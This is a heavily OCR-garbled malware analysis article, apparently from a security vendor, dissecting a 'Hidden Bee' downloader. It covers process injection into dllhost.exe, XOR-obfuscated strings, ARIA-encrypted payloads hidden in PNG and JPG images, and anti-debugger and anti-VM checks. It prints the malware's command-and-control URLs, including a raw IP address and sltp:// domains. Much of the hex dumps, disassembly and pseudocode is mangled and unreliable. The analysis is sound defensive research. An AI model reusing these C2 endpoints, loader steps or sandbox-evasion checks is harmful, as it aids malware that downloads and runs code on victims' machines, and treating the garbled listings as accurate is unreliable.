H2EEEEER| 52 49 46 46 C4 BE OB B0 57 41 56 45 &6 &0 v4 20| RIFF—2..WAUEfmt
F2EEEEIE| 18 B8 OB B0 @1 B8 Ol B0 28 3E OB B0 B8 VD 06 B0k, . .8.8.Cx .03,
BZEEHEZEH| B2 BE 16 BE 64 &1 74 61 OB BE B0 B0 @1 B4 BB 16| @, b.datads . . Ge. b
FEEEEEEE 10 BR Y4 BE BC HE DE B0 22 BE DE B0 FE HE OE B0 C.t.. 4.0 k2. pe.
H2&5EE4 0 +5.. 4.d7
H2&EHEEH
B2GoEEGH
HEnEEETE 4B BR 43 39 38 24 6E 656 65 BE OB BE B8 B4 0B 49 KECISinff.
precaEse 6B 68 63 64 6F FE 24 G6E 65 65 OB B0 BA B8 05 B0 khcdoVinff... .8
H2EEEETe) 47 B9 EC 49 B8 BE 24 &6E &6 65 DE B0 B8 BE 0@ 80 GY-IX"Snff......
HEEEEERE | 80 EVY HE 97 9F &5 BDO 6B 9B EC 28 BE 24 ¥5 82 60 1£+3&f2kT~lafue.
HEechEED) 2@ B 82 80 90 BB 93 IC CA 96 93 IC BE 96 93 IC @%e.kgdac=Fa"lao
HEEcEECH | 86 2E 6B D3 F? 58 BS B4 BF 32 BS 50 47 ¥B B8 55 «.kE HA+- ZAPGL{EU
procpEbe) 11 45 15 4E 89 5F BY 29 20 AF D2 7D 4F SB AS &3 AEENE_ElZ-0X0[EC
HEncEEED 98 F5 B2 B0 23 32 H1 &F 3C CE EE 30 SE DR FO EZ Eue.#ZiodrtBArid
HeecEdbe 58 3F 15 5H FA 34 19 49 FE ES 19 BE 2F 8¢ D08 IC) H7EC 44 ImfidR- i
Hrec@lEn) lF BB 31 CF 27 75 80 CH 2E CF BF &5 9E 32 &9 By W lo'uz=.0CF=3(E
ErecElle 63 AL BB 13 97 BF 2C 38 BF CH Y@ 38 E3 ER 82 20 ciglsx, 8-=pBArfe
HERcElZH | CE 48 94 B 18 C& 95 EBE BR AL CO EC 79 HE EBF D2 jrEc kALY i=ywiq0
Eerec@lze B2 FL Bl EDO B9 16 AD 41 56 F2 39 D5 B3 B8 OE 11 @81 osAU 91 |Z04
Heec@ldn 9 FC O 3F F3 11 F1 BF BF 6E 2R 16 74 2F 2E BS AE| #RY*4“q_n#*_t-, [+
Gooenlso|SB 43 B7 74 23 98 OC EA 1T 97 8% 97 5B 75 5B 34| [Iotel.F#stoluds

This is an executable component that is loaded into Internet Explorer. After it decodes the imports, it starts to look

much more familiar:

Address |Hex dump ASCII

BzZASEEAA| A1 B4 BE 18| 1C BA 74 BA|AC BE B8 BA|E2 EBE B8 G6|Ae.bo.t. . $.. 82,
HZASEE1A| FE B5 B8 BAA| 12 BS B8 B0\ A0 G0 B8 A8 A9 BE 11 A6|pe. . T5. ... ..., 1
HZASEEZA| 6E 74 &4 BC|EC ZE &4 EC|EC BE BE AC| B 25 6@ 4B ntdll dll....%.
H2ASE82A| 45 52 4E 45(4C 33 32 2E|64 6C 6C BB @B GC A8 @A2|ERMELZ2.dll....
HZ2ASEE48| 86 41 44 E&(41 BB 49 22|32 2E &4 &C|EC BE BE BE|.ADVARIZZ2.dLL..
BZASE6CH| BB G4 68 43 61 62 69 EE|65 74 ZE 64|EC EC 65 60| .e.Cabinet.dll..
H2ASE8EE| AR B8 A& 88|40 53 56 43|52 54 ZE 64| 6C &C 88 88| ..+ .MSUCRT.dLL..
HZASEETE| 00 B0 88 @8| 12 FA 20 FF|FE 47 9F FF|E4 AS 98 FF|e... 1 2w-GCWidsw
HZASEEEA| 1E 3B 8F FF|48 53 8F FF|CB 55 8F FF|CB 53 8F 7F|+; CWwESCW -UCw 50w
BZASEE3E| 08 54 5F 77| LF 53 92 77|25 50 90 77|78 B2 99 Y| LTCWTS [wi-EwsbEw
HZASEEAA| C4 73 9@ FF|48 6@ 9@ FF|E2 41 SF FF|EE 57 91 7F|.A=-wwiH™ - wih.aad
HZ2ASEBERA| 08 3C S9F FF|CB 4C SF FF|EE 2A BB 77|08 D9 BE 77| i{Cw'LCwt#*Iud Ju
HZASEECHE| 2B 45 BC 77|41 CF BE 7F|A2 BS BA 77|46 BA BE 77| +E.wHSIwiA. wFll Jw
G2ASE806| &2 BF BE 77|02 33 ac 7PFP|CF CO 8B 77|A4 10 BC 77|b#IwEl. wiFJuwlH.w
BZASEEER| 4F 21 BC FY| 26 2C BC FF|BE ZF BC FF|FC CA BE 77| 0. wiki.wAswi=ay

M -

We can see that it follows an analogical structure to the one described in last year’s article.
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This module is first executed within Internet Explorer. Then, it creates another process (dllhost.exe) in a

suspended state:

HZASEATS 2025 FCFFFFFF [LER ERX, OWORO FTR S5: [EEF-B:247

B2ASBATF =] FUSH EA

B2ASEAZE CE FUSH ESI

B2ASERS1 =) PUSH ESI

B2ASER32 &R B4 PUSH Bx4

B2ASEA3G =) PUSH ESI

E2ASEAZE EE PUSH ESI

H2ASER2E CE PUSH ESI

B2ASEAST 2025 24FDFFFF |LEA EAX,DOWORD PTR SS: [EEF-G:2C0C]

G2ASEA20 =) FUSH ESI

B2ASEAZE =] FUSH EA:

AZASER2F FF1S 2e@lA2E2 [CALL DWORD PTR DS: [Bx2ASE1281 kernel22. CreateProcessll
SECH TEST ERX,EAR

AZAZEAST |+ 74 40 JE SHORT BZASEAES

iq L_J

Stack address=BZ1AC15@, (UHICODE "C:w-Windows-~swstemzz-~~dl [host.ene"]
ERX=88806086 1

Address |Hed dump ASCII

GzAsEEEa| Al 64 88 16| 1C 68 74 88| AC BS B8 B8] S22 BE 690 a0|Ge.ko.t. . d. 0 k2.,
EZASEE1E| FE G5 88 G@| 12 BS @9 00|00 00 @8 88|87 08 11 88|pe. . t5. . i eaaad.
BZASEEZA| 6E 74 &4 GC|E&C ZE &4 GC|AC BE BE AC| A8 26 B8 4B[ntdll.dll... &K
HZAZEE3A| 45 52 4E 45|4C 33 32 ZE| 64 &C 6C BA|AB @C B8 &8 ERMELZZ2.dlLl....0
EZAZEE48| A6 41 44 56|41 5@ 49 22|52 ZE 64 EC|EC BE BE BE|.AOVAFIZZ.dLL..#
BZOSE6SE| BB G4 B8 43 61 62 69 EE|6E 74 2E 64|EC EC B0 68| .4.Cabinst.dll..
HZASEEEE| BA B8 8BS BB| 40 53 E& 42|52 B4 Z2E &4|&C &C B8 8A&( ..+ .MSUCRT.dLL..
B2ASEETA| 06 B8 A3 8| 12 FA S0 7F|FG8 47 SF 7F|E4 AS 98 7F|.... 1 2w-GCwiddw
B2ASE888| 1E 3B SF 77|48 53 SF FF|CB 55 SF FF|CB 53 SF 77| +; CwESCw tUCW LSCw
BZAEEE3E| 08 54 SF 77 LF 53 92 77|28 5C 90 77| TS 62 99 7Y| LTCWTS (wiEwsbEw
HZASEBAA|C4 73 98 FF|48 60 98 FF|68 41 8F FF|ES 57 91 77| -wwH" - wiheas
HZASEBERA| D& 3C 8F FF|CB 4C 8F FF|EE ZA BE 77|08 D9 BE 77| i{Cw'LCwt*dud Ju
BZAZEECAI ZE 45 AC FFi41 CF BB FFIAS BE BA FFl46 BA BE 77| +E.wADIWiA. wFll Jw

It injects its original copy there (769a05f0eddd6ef2ebdd13618b244758):

[ dilhost.exe (2784) Properties

| General I Statistics I Performance | Threads I Token I Modules | Memery | Environment I Handles I Comment

Hide free regions
Baze address Type Size  Protect... Use Tat
> Ox 10000 Private 128kE RW 1
> 0w 30000 Mapped 16kE R
> Ox40000 Private 4kB RW
4 (50000 Mapped 52kE  RWX
0x 50000 Mapped: Com... 52kB  RWX
7| dilhost.exe (2784) (0x50000 - 0:5d000) = ===
00000000 ﬂl 04 00 10 1c Oa 74 00 Oc OS5 00 00 &8 be 00 00 ...u.. Lovannanna »

00000010 70 O0& 00 OO0 18 k& 00 00 00 OO0 00 00 09 00 11 00 Pusesesnsnaaansns (W
00000020 &4 Te &2 66 66 24 6e 66 &6 00 00 Oc 00 26 00 41 d~nffsnff....&.R
00000030 4f 53 44 4f 44 39 38 24 6e 66 64 00 00 Oc 00 O QHEDOFSSsnff.....
00000040 00 4k 4e 5c 4b 5a 43 39 38 24 6e &6 66 00 00 Ob EMNEZCS9E8Snff...
00000050 00 04 00 4% 6b 62 63 64 &L 7e 24 6e 66 66 00 00 ...Ikhcdo~%nif..

000000680 0Oz 00 O& OO0 47 59 5c 49 58 5S5e 24 &e 66 &6 00 00 ....GY°NIX~%nff..
00000070 00 00 00 00 &c 7 ae 97 9f 66 bd 6b 9b Sc 88 Ob ......... k...
00000080 24 75 82 04 30 b8 82 0d 9d bb 93 lc ca 96 93 1lc fu..0...ieueusn
00000090 5e 96 93 1lc 0& 2e &b 43 £9 58 be 04 07 32 b5 50 ~..... k.. .X...2.F
000000&a0 47 7b 08 553 11 45 135 4e 8% 5L b7 2% 8d af 42 7d G{.U.E.N._.}...}
000000k0 4f Sk a8 63 90 75 82 04 23 32 al &f 3c ce ee 30 O[.c.u..#2.0<..0
000000ch Be da £d e2 58 3£ 15 Sa fa 34 19 49 fe e5 1% Oe ....¥2.Z2.4.I....
00000040 2f 87 d8 1lc 1f bb 31 of 27 75 84 ca 2e cf &8f 66 /..... AL PR £

Then it redirects execution to its loading function. Below, we can see the Entry Point of the implanted module

within dllhost.exe.
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* KernelMode - dilhost.exe - [*G.P.LU* - main thread]
@ File View Debug Plugins Options Window Help

et Bledx] w1 s+ 305 A~ s]E[m]T|w]nc| s

FF7424 B2 FUSH DWORD PTR S5: [ESP+E12] implanted_modu le_ep
BEASACED FFE424 B2 CALL DWORD PTR S5: [ESP+Ex2]
BEESECE L CZ Bcea RETH &:iC
BRASACES 55 FUSH _EEFP
BRASECES SEEC MOu EBF, ESP
BRESECET S3EC 12 SUUE ESF,Onls
BEASECEA =] FUSH _EBX ntdl . 77997140
BEESECEE 2BED 12 MOU EBX, ONORD PTR SS5: CEEF+E:12]
AARSACAF A FIISH FRT

1 [
Stack So:LO011FAECI-DEEELESH

Address |Hex dump HSCII

HEEEEEEE| 1 B4 B8 16| 1C BA 74 BE|EC B B8 BE| 22 BE 60 60| Ge. ko t.. &0 F2..
BEEEEE1A|FE G5 83 0| 12 BS 88 60|60 60 88 88|62 66 11 88|ps..t5. ... ... 4.
BEAASEEZA| 64 FE G6E &6 66 24 GE AR A6 BE BE AC| BB 26 B8 41|d nffinff....%.A
BEESEE3E| 4F 58 44 4F| 46 29 38 24| 6E &6 S5 BE| @8 GC @8 82| 0<00F985nff... .0
BERSEE4E| B8 4B 4E SC|4E 5A 43 39|38 24 6E 66|66 BE BE BE|.KH-KZCIESnff..d
HERSEEEA| BB B4 B8 49| 6B &8 63 64| 6F YE 24 GE| 66 &5 BE 88| . 4. Ikhcdo™Snff..
BARSEREA| AR @A @5 @A 47 59 EC 49|52 EE 24 6E| 66 &6 BE BA| ... .GY-~IE"5nff..
BARSEETA| AR B B8 @@ 2C EFY AE 97| 9F &5 BOD &EB| 9B SC 82 BE|....1E«3&F2kT k2
HEEEEESA| 24 Y5 892 60|28 BS 82 80|90 BB 92 IC|CR 96 93 1C|fue.@Se.kqnac=lac
BEEEEE9A|5E 96 92 IC| @& 2E 6B DI|F2? 58 B& 84| A7 32 BE 58| “Pi . kE HAe« 2AF
BEAESEEAE| 47 FE 82 55|11 45 1S 4E|89 5F BY 29|80 AF D2 70| G{EUAEEHE_EIZ=02
BEESEEES| 4F 5B AS 63|98 ¥5 92 60|22 32 Al &F|2C CE EE 38| O[EcEus. #2 (odjftE
BEASEEACA| 2E DA FO EZ| 58 3F 15 BAIFA 34 19 43|FE EE 19 BE|ArLORYES " 44 Imfi+H

A detailed analysis of the execution flow of this module and its format will be given later in the article.

At this point, it is important to note that the dllhost.exe is the module that further downloads the aforementioned

images.
The modules with the custom format

The module with the custom format is analogous to the one described before. However, we can see that it has

significantly evolved.

There are changes in the header, as well as improvements in the implementation.

Changes in the custom format

The new header is similar to the previous one. The few details that have changed are: the magic number at the
beginning (from 0x10000301 to 0x10000401), and the format in which the DLLs are stored (the length of a DLL
name has been added). That’s why we will refer to this format as “0x10000401 format.”

Another change is that now the names of the DLLs are obfuscated by a simple XOR with 1 byte character. They

are deobfuscated just before being loaded.
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Ll =]

@a3115DC

@83115D0C decede func_name:

@8B831150C mov cl, [esi+5]

B83115DF xor [eax], cl

B83115E1 mov ecx, [ebptarg_e]

8@83115E4 movzx  edx, byte ptr [edi]

B83115E7 inc eax

B83115E8 add ecx, eax

BB3115EA cmp ecx, edx

BB3115EC jb short decode func_name
T

‘ YYY
|l 5=
3115EE
3115EE loc_3115EE:
3115EE lea eax, [edi+d]
3115F1 push eax ; _DWORD

3115F2 call ds:LoadLlibrarys
3115F8 test eax, eax

3115FA mov [ebptvar_18], eax
3115FD jz short loc 311636

Summing up, we can visualize the new format in the following way:

Cffsec(h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Decoded text

00000000 [EEOERDL] 0 RS - I.. HEADERS

00000010 |70 _0&6 00 e e

08 00 11 00 .... DLLs

00000020 64 7E 6E 66 66 24 6E 66 66 00 0D OC 00 26 00 41 d~nff¢nff....&.A  [lc offeat = Ox1C
00000030 4F 58 44 4F 46 39 38 24 6E 66 66 00 00 0OC OXDOF98SnEs. .. .. N
00000040 00 43 4E 5C 4B SA 43 39 38 24 6E 66 66 00 .KM\Kzcosgnge, .. Svuctdll record{
00000050 00 04 00 49 6B 62 63 64 6F TE 24 6E 66 66 00 00 ...Ikhcdo~Snff.. WORD name_length,
00000060 OR 00 06 00 47 52 5C 42 58 SE 24 6E 66 66 00 00 ....GY\IX"Snff.. WORD functions_count,

00 00 00 00 e char name []; //XORed

t
00000070 8C E7 BE 97 SF 66 BD 63 9B 5C 88 03 SeB—2f k..
00000080 24 75 82 0D 30 B8 82 0D 9D 58 93 1C CA 96 93 1C  Su,.0.,.t»".E-".
000000%0 SE 296 93 1C 06 2E 6B D2 F9 52 BE 04 07 32 BS 50 ~-"...k0d¥qg..2uP =0x74
.
00000180 87 FO 96 7C 3D AD 39 0D C7 OE E0 3D F3 16 E6 F5  +d-|=.9.C.7=4.&4 SLKEL
00000190 7FC B0 3E 28 EA 3D 9D 7C | "> e=t]
64 A1 30 00 00 00 C3 56 d o...iv CODE

000001A0 8B 4C 24 08 8B 44 24 08 33 D2 83 CO 14 38 51 07 <L$.<D$.3H.R.8Q. Entry Point = 0x050C
000001BO 74 1C 33 F6 39 51 10 88 51 07 76 12 8B DE 83 E2  t.3569Q..Q.v.<0.4
00008810 00 00 00 00 00 00 00 00 83 03 00 00 BZ 03 RELOCATIONS
00008820 BF 03 00 00 E1 03 00 00 04 04 00 00 13 04
0000BS30 24 04 00 00 2D 04 00 00 42 04 00 00 47 04 Offset = 0xB818
00008840 55 04 00 00 61 04 00 00 8C 04 00 00 9C 04 Size = 0x0670

0000B850 BF 04 00 00 CE 04 00 00 EE 04 00 00 FA 04
0000BB6O 01 O 00 BO 05 00 00 BT 05
0000B87T BE O 00 DF 05 00 00 EA 05
00o00BE8 F2 05 00 00 51 06 00 00 &3 06 00 00 74 06

Module Size = 0xBESS

Obfuscation used
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This time, authors decide to obfuscate all the strings used inside the module. Now all the strings are decoded just

before use.
@B3187F5 lea eax, [ebp-2CCh]
BB3187FE push 184h
23188828 push eax ; _DWORD

28318881 push offset unk_317838
eB31le8e6 call decode_memory

@a31eses pop BCX

e@3lesec push eax ; _DWORD

ee3leseD call ds:ExpandEnvircnmentStringsi

The decoding algorithm is simple, based on XOR:

e

=

Pd B2 R R B2

1| BYTE *__cdecl decode_memory( BYTE *input_arr)

2f

3| _BYTE *output_arr; [/ eax

4| unsigned int indx; // esi

5| bool is _finished; // =T

6

7| output_arr = input_arr + @xld;

8| if ( input_arr[7] )

s {

@ indx = @;

1 is finished = *{{_DWORD *}input_arr + 4) == 8;
2 input_arr[7] = 9;

3 if ( !is_finished )

4 {1

= do

; {

7 output_arr[indx] “= input_arr[{indx & 7} + B];
8 ++indug

5 }

8 while { indx < *{{_DWORD *}input_arr + 4) };
L h

2| 3

3| return output_arr;

b

Inside the images downloader

Let’s look inside the first module in the 0x10000401 format that we encountered. This module is an initial stage,

and its role is to download and unpack the other components. One such component is in a CAB format (that’s why

we can see the Cabinet.dll among the imported DLLs).

The role

of this module is similar to the first “WASM” mentioned in our post a year ago. However, the current

version is not only better protected, but also comes with some improvements. This time the downloaded content is

hidden in the images. So, analyzing this element can help us to understand how the used stenography works.

First, we can see that the URLs are retrieved from their Base64 form:
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Mo
push
lea

push
push
push
call
add

[

EaX

eax, [ebp+targ_@]
offset basebd Str ; "SQBodHRwOiBwvMzguNzUUMTM3Ljke0TALDC 9wdWI" . ..

eax
esi

basetd decode
esp, 1léh

[Ehh+arg:8], eax

a4

This string decodes to a list containing URLSs of the PNG and JPG files that are going to be downloaded. For each

sample, this set is unique. None of the URLSs can be reused: the server gives a response only once. An example of

a URL set:

http://38.75.137.9:9088/pubs/wiki.php?id=937a4eaddb6f5a94b3738a58dcc79cal3 http://38.75.137.9:9088/im

So, we can confirm that this module is the one responsible for downloading and processing the observed images.

Indeed, inside we can find the functions responsible for their decoding.

Decoding the JPG

After the payload is retrieved, the JPG header is validated.

1CES
1CBE
1CC1
1CCy
1CCE
1Dl
1CD7
1CoD
1CE1
1CEY
1CEE
1CF1
1CF5S
1CFE
1CFF
1mas
1mas

jz

cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz

loc_311F3C

byte ptr [ebx], BFFh
invalid_payload

byte ptr [ebx+1], @D8h
invalid payload

word ptr [ebx+2], @E@FFh
invalid payload

byte ptr [ebx+s], "1
invalid_payload

byte ptr [ebx+7], 'F'
invalid_payload

byte ptr [ebx+8], 'I'
invalid_payload

byte ptr [ebx+3], 'F'
invalid payload

byte ptr [ebx+8sh], @
invalid_payload

Then, the payload is decoded by simply using an XOR with the last byte. The decoded content is expected to start

from the !rcx magic ID.
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—— v Y
Ll e 55
28311069
@B311069 wor_next:
88311069 xor [eax+esi], cl
@8311D06C inc eax
88311060 cmp eax, [ebx+18h]
@e3110ve jb short xor_next
% L |
=
Be311D072
88311072 loc_311072:
@8311072 cmp [esi+4], edi
@8311D075 ja invalid payload
Y
Ll i 5=
@831107E cmp dword ptr [ksi], 'xcr!’
@8311D081 jnz invalid payload

After decoding the content, the hash of the !rcx module is validated with the help of SHA256 hash. The valid hash
is stored in the module’s header and compared with the calculated hash of the file content.

288311087 lea eax, [esi+s]
28311084 push 32
2@831108C push eax

@8311080 lea eax, [ebptvar_4C)]
@8311098 push eax

8311091 mov [ebptarg_e], 48
288311098 lea edi, [esi+28h]

88311098 call j_memcpy
28311048 push 32

288311042 lea eax, [esi+s]
883110A5 push @

283110A7 push eax

@83110A8 call j_memset
@83110AD lea eax, [ebp+var_BC]
88311083 push eax

88311064 call sha256_init
28311089 push [ebp+var_4]
@8@83110BC lea eax, [ebptwvar BC]
883110C2 push esi

2@83110C3 push eax

@83110C4 call sha256_hash

@83110C9 lea eax, [ebp+var_BC]
@883110CF push eax
8311008 lea eax, [esi+d]

28311003 push eax

28311004 call sha25&_finish
288311009 lea eax, [esi+s]
2831100C push 32

@831100DE push eax

@83110DF lea eax, [ebpt+var_4C)]
@883110E2 push eax

@83110E3 call h_memcmp
@@83110DEE add esp, 3Ch
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If the validation passed, the shellcode stored in the !rcx module is loaded. More details about the execution flow

will be given later.

il )=

Ba311ELF
@8311E1F loc 311E1F: 3 _DWORD
@B311E1F push 4ah
BB311E21 push 1ee8h 3 _DWORD
BB311E26 push dword ptr [edit+3] ; _DWORD
@8311E29 push ) ; _DWORD
@8311E28 call ds:WirtualAlloc
B8311E31 test eax, eax
BB311E33 mov [ebpt+shellcode_mem], eax
@B311E36 jz short loc 311E48

— |

L |
FEE
BB311E38 push dword ptr [edi+d]
@B311E3E add edi, 1eéh
@B311E3E push edi
BB311E3F push eax
B8311E48 call j_memcpy
BB311E45 add esp, 8Ch

|

The !rcx package has a simple header:

Cffsec(h) 00 01 02 03 04 05 06 OT 08 0% QR OB OC OD
00000000
00000010
00000020
00000030

31 CO 40 90 OF 8
00000040 OO0 OO E8 04 00 OO0 00 OF 00 &0 OC 58 &0 64
Q00000050 30 OO0 00 00 52 51 50 56 E8 44 00 00 00 61
00000060 54 24 04 BE 44 24 OC 56 8B 74 24 0OC 57 8
00000070 OF BT 02 42 42 23 F8 41 7C 08 83 F& 54 TF
00000080 CO 20 OF BT OE 46 46 83 F9 41 T7C 08 83 F3
00000090 03 83 C1 20 3B DT 73 04 3B C1 74 D4 5F 2B
000000RA0 C3 52 8B EC 83 EC 4C BB 45 08 53 5o 57 &b
000000BO 6A &C 58 33 C9 66 89 45 BE 66 895 45 C8 66
000000C0 CA &6 89 45 EE &6 89 45 FO &6 895 45 F6& &6

Decoding the PNG

Retrieving the content from the PNG is more complex.

T
R

Frin;

o
= ]

" 5 Ak )
S
Lt kg D Lo e

First, after downloading, the PNG header is checked:
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Size
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Code
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8@83116CE loc 3116CE:

883116CE lea eax, [ebptvar &]
88311601 push 8

88311603 push eax

88311604 push edi

@83116D5 xor esi, esi
88311607 mov [ebp+var_8], 89h
@8831160E mov [ebp+var_7], 'P'
@8831160F mov [ebp+var_&], 'N'
883116E3 mov [ebp+var_ 5], 'G'
883116E7 mov [ebp+var_4], @Dh
8B83116EE mov [ebp+var_3], @sh
BB83116EF mov [ebp+var_2], 1ah
BB3116F3 mov [ebp+var_1], @ah
@B3116F7 call j_memcmp
883116FC add esp, BCh

The function decoding the PNG has the following flow:

33| decoded buf = @;

34| png_hdr = @x89u;

35| w1z = 'P';

36| v N

37 G

38 '

39 "\n';

40 = 26;

41| vis = 1e;

42| if ( !'j_memcmp(payload, &png_hdr, B) )

43 decoded_buf = (_BYTE *)decode_from png(payload, functions_list, &size);
44| result = free(payload);

45| if ( decoded buf )

46| {

47 if ( !(size & 3) )

48

49 buf_ptr = deceded_buf;

5@ aria_set_key((unsigned int *)&crypt_ctx, aria_key_ptr + 4, *(_DWORD *)aria_key ptr);
51 j_memset(aria_key ptr + 4, @, *(_DWORD *)aria_key_ptr);

52 if ( size )

53 {

54 do

55 I

56 aria_crypt_round(&crypt_ctx, buf_ptr, buf_ptr);

57 index += 16;

58 buf_ptr += 16;

59

68 while ( index ¢ size };

&1 }

62 if { *decoded_buf == "M" && decoded_buf[1] == 'S’ && decoded_buf[2] == 'C' && decocded_buf[3] == 'F' }
&3 {

64 if ( unpack_cab(&v1@, (int)decoded buf, size) )

65

66 module_name = decode_memory((int)sub_317EE4);// "bin/i386/core.sdb”
67 load from_package{index, (int)decoded_buf, (int)}&v1e, module_name, @);
68 free_module(&via);

69 }

78 }

71

72 result = free(decoded_buf);

73| }

74| return result;

75}

It converts the PNG into byte content and decrypts it with the help of ARIA cipher. The result should be a CAB
format. The unpacked CAB is supposed to contain a module “bin/i386/core.sdb” that also occurred in our previous

encounters with Hidden Bee.

The authors are careful not to reuse URLSs as well as encryption keys. That’s why the Aria key is different for

every unique payload. It is stored just after the end of the 0x10000401 module :
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During the module’s loading, the key is rewritten into another memory area, from which it is used to decrypt the

downloaded module.

@83185C4 movzx  ecx, word ptr [esi] ; copy the ARIA key

883185C7 mov [eax], ecx

883185C9 mov eax, ds:aria_key ptr
883185CE push dword ptr [eax]
@a318508 add eax, 4

88318503 push ebx
88318504 push eax
@p318s505 call j_memcpy
@p3185DA add esp, @Ch

e

88318500 loc_31@5D0:

@e31850D cmp ds:aria_key ptr, @
8B83185E4 jnz short continue_to download
|1
Ll s
Ba3185Ee @a31a85EE
8@83185E6 loc_31@5E6: 3 _DWORD| @@31@5EE kcntinue_tc_dcwnlcad: 3 _DWORD
B8@83185E6 push ] BB3185EE push 7
283185E8 call ds:ExitProcess ea3lesFe call ds:SetErrortode
883185F6 mov eax, [ebp+param]
883185F9 push dword ptr [eax+@Ch]
883185FC call download_and_deccde_images
B0318681 jmp loc_318AF1

The CAB file retrieved from the PNG is available here: 001bdc26b2845dcf839f67a8760c6839

\Z > @ Location: |i /bin/i386/

Name v | Size Type Modified
iz core.sdb 26.7 kB unknown 01 January 1970, 01:00

It contains core.sdb (d1a2fdc79¢154b120a0e52c46a73478d). That is a second module in Hidden Bee’s custom

format.
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Inside core.sdb

This module (retrieved from the PNG) is a second downloader component in the 0x10000401 format. This time, it
uses a custom TCP-based protocol, referenced by the authors as SLTP. (This protocol was also used by the

analogical component seen one year ago). The embedded links:

sltp://dns.howtocom.site:1108/minimal.bin?id=998 sltp://bbs.favcom.space:1108/setup.bin?id=999

Execution flow

1. Checks for blacklisted processes. If any are detected, exits.

2. Removes functions:

DbgBreakPoint

DbgUserBreakPoint
by overwriting their beginning with the RET instruction.
3. Checks if the malware is already installed. If yes, exits.
4. Creates an installation mutex

{71BB7F1C-D700-4487-B9C6-6DD9863DFE91}-ins.

5. If the module was run with the flag==1:

1. Connects to the first address:

sltp://dns.howtocom.site:1108/minimal.bin?id=998

2. Sets an environment variable
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INSTALL_SOURCE

to the value given as an argument.
3. Runs the downloaded next stage module.
6. If the module was run with the flag!=1:
1. Performs checks against VM. If detected, exits.

2. Connects to the second address:

sltp://bbs.favcom.space:1108/setup.bin?id=999

. This time, appends the victim’s fingerprint to the URL. Format:

&sid=&sz=&os=8ar=

3. Runs the downloaded next stage module.

Defensive checks

At this stage, many anti-analysis checks are deployed. First, there are checks to detect if any of the blacklisted
processes are running. The enumeration of the processes is implemented using a low-level function:

NtQuerySystemInformation with a parameter 5 (

SystemProcessInformation
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36 j_memset{(int}vl, @, SystemInformationLength};
37 if ( INtQuerySystemInformation(v3, 5, v2, SystemInformationLength, &SystemInformationLength) )
38

39 while ( !blacklisted _processes[@] )

4a

41|check_next:

42 if ( !*(_DWORD *}v2 )

43 goto finished;

a4 v2 += *(_DWORD *)v2;

45 1

46 next_proc_name = blacklisted_processes;

47 _next_proc_name = blacklisted_processes;

43 while ( 1 )

49

5@ RtlInitUnicodestring(&ve, *next_proc_name);
51 if ( (_WORD)vE == *(({_WORD *)v2 + 28) )
52

53 if ( (unsigned _ int8)RtlEqualUnicodeString(&ve, v2 + 56, 1) )
54 break;

55 1

56 next_proc_name = _next proc_name + 1;

57 _next_proc_name = next_proc_namej

58 if ( !*next_proc_name )}

59 goto check_next;

60 1

61 blacklisted found = 1;

62

63 [Finished:

64 LocalFree(v7);

65

66 return blacklisted found;

67}

The blacklist contains popular debuggers and sniffers:

» &« » <«

“devenv.exe” , “wireshark.exe”, “vmacthlp.exe”, “procmon.exe”, “ollydbg.exe”, “idag.exe”,

» <«

“ImmunityDebugger.exe”, “windbg.exe”

» o«

“EHSniffer.exe”, “iris.exe”, “procexp.exe”, “filemon.exe”, “fiddler.exe”

The names of the processes are obfuscated, so they are not visible on the strings list. If any of those processes are

detected, the execution of the module terminates.
Another function deploys a set of anti-VM checks. The anti-VM checks include:

46| ms_exc.registration.Trylevel = @;
47| CPUID check(&/27, Bx40000000);
48| *(_DWORD *)v33 = v28;
49| *(_DWORD *)&33[4] = v2
58| *(_DWORD *)&33[8] = v3
51| ms_exc.registration.Trylevel = -1;
52| HIBYTE(v34) = @;

53| if ( VPCEXT_check() )

54 goto set_wm_flag;

55| if ( VMWare io check() )

56 goto set _wm_flag;

PG -

L

-
A=
e

CPUID with EAX=40000000 (a_check for Hypervisor’s Brand):

- a -

B824335CB push hBBBBBBBh

82433500 lea eax, [ebpt+var_544]
@2433506 push eax

82433507 call CPUID check
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82433414 pusha

8243341 mov eax, [ebptarg_ 4]
A243341E wor ehw, ehx
B2433428 xor BCH, BCX
A2433422 wor edx, edx
82433424 cpuid

B2433426 mov edi, [ebptarg_g]

The VMWAre 1/0 Port (more details [here]):

A243353A mov eax, VMKh'

@243353F mov ebx, 8

82433544 mov ecx, Bah

82433549 mov edx, "WVX'

B243354E in eax, dx ; check for Wware
B243354F cmp eba, "VMIh'

@2433555 set:z [ebp+var_1C]

VPCEXT instruction (more details [here])

B824334B3 push ebx
@2433464 mov ehx, @
82433489 mov eax, 1
B24334BE wpcext 7, @Bh
@24334C2 test ehx, ebx
82433404 setz [ebptvar_1C]

Checking the list of common VM vendors:
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57| v = decode_memory(&str_XenVMMXenViMM); JI " XenVMMenviiM™
58| if ( !strncmp(v33, ve, 12} )

59 goto set_wm_flag;

68| vl = decode_memory(&str_VMWareViMware); J "VMwareVMware”
51| if { !strncmp(v3z, v1, 12} )

62 goto set vm_flag;

63 w2 = decocE_memory{&str_KUHWHKUH}; £ KVMKVMVM"
64| if { !strncmp(v33, w2, 12} )

65 goto set_wvm_flag;

66| w3 = decode_memory{&str KVMIKVMKVM) ; JI T IEMEVMICVM™

67| if { !strncmp(v33, v3, 12} )

68 goto set_wm_flag;

59| w4 = decode_memory(&unk_2435F78); " lrpepyh  wr™
7a if ( !'strncmp(v33, w4, 12} )

71 goto set_vm_flag;

72| w5 = decode_memory(funk_ 2435F58); // "sbiedll.dll™

73| if ( GetModuleHandleA(vS) )

74 goto set_wm_flag;

75| if { !GetComputerNameW(Buffer, &nSize) )

76 goto set_wm_flag;

77| we = (const WCHAR *)decode_memory(dword_2435F34);// L"SANDBOX"
78| if ( !lstrcmpiW(Buffer, wg) )}

79 goto set_vm_flag;

28| nSize = 1824;

81| if ( !'GetUserNameW(Buffer, &nSize) )

82 goto set_wm_flag;

83| w7 = (const WCHAR *)decode_memory(&unk_2435F88);// L"CurrentUser”
84| if ( !'1strcmpiW{Buffer, w7} )

85 goto set_wm_flag;

86| wi = (const WCHAR *)decode memory(dword 2435F34);// L"SANDBOX™
87| if ( !lstrcmpiW({Buffer, w8) )

88 goto set_vm_flag;

Checking the BIOS versions typical for virtual environments:

39| w9 = decode_memory (&unk_2435EE8); /7 "StrstrIA”
